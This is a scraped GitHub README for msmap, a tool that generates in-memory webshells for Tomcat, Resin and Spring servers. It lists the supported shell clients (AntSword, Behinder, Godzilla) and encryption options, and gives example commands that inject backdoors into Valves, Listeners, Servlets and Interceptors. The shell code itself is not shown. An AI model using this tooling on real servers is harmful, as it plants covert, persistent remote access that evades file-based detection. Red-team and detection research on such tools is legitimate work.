msmap icon indicating copy to clipboard operation
msmap copied to clipboard

Msmap is a Memory WebShell Generator.

MSMAP

Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, WebShell / Proxy / Killer and Management Clients. 简体中文

The idea behind I, The idea behind II

Feature [WIP]

Function

  • [x] Dynamic Menu
  • [x] Automatic Compilation
  • [x] Generate Script
  • [ ] Lite Mode
  • [ ] Graphical Interface

Container

  • Java
    • [x] Tomcat7
    • [x] Tomcat8
    • [x] Tomcat9
    • [x] Tomcat10
    • [ ] Resin3
    • [x] Resin4
    • [ ] WebSphere
    • [ ] GlassFish
    • [ ] WebLogic
    • [ ] JBoss
    • [x] Spring
    • [ ] Netty
    • [ ] JVM
  • .NET
    • [ ] IIS
  • PHP
  • Python

WebShell / Proxy / Killer

  • WebShell

    • [x] CMD / SH
    • [x] AntSword
    • [x] JSPJS
    • [x] Behinder
    • [x] Godzilla
  • No need for modularity

~~Proxy: Neo-reGeorg, wsproxy~~

~~Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner~~

Decoder / Decryptor / Hasher

  • Decoder
    • [x] Base64
    • [ ] Hex
  • Decryptor
    • [x] XOR
    • [x] RC4
    • [x] AES128
    • [x] AES256
    • [ ] RSA
  • Hasher
    • [x] MD5
    • [x] SHA128
    • [x] SHA256

Usage

git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py

[Warning] MUST set a unique password, Options are case sensitive.

Advanced

Edit config/environment.py

# Auto Compile
auto_build = True

# Base64 Encode Class File
b64_class = True

# Generate Script File
generate_script = True

# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"

Edit gist/java/container/tomcat/servlet.py

// Servlet Path Pattern
private static String pattern = "*.xml";

WsFilter does not currently support automatic compilation. If an encryption encoder is used, the password needs to be the same as the path (eg /passwd)

Example

CMD / SH

Command with Base64 Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve Base64 CMD passwd

AntSword

Type JSP with default Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve RAW AntSword passwd

Type JSP with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat Listener

python generator.py Java Tomcat Listener AES128 AntSword passwd

Type JSP with rc_4_sha256 Encoder | Inject Tomcat Servlet

python generator.py Java Tomcat Servlet RC4 AntSword passwd

Type JSPJS with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat WsFilter

python generator.py Java Tomcat WsFilter AES128 JSPJS passwd

Behinder

Type default_aes | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Behinder rebeyond

Type default_xor_base64 | Inject Spring Interceptor

python generator.py Java Spring Interceptor XOR Behinder rebeyond

Godzilla

Type JAVA_AES_BASE64 | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Godzilla superidol

Known issue

Reference

GodzillaMemoryShellProject

AntSword-JSP-Template

As-Exploits memshell_manage

Behinder | wsMemShell | ysomap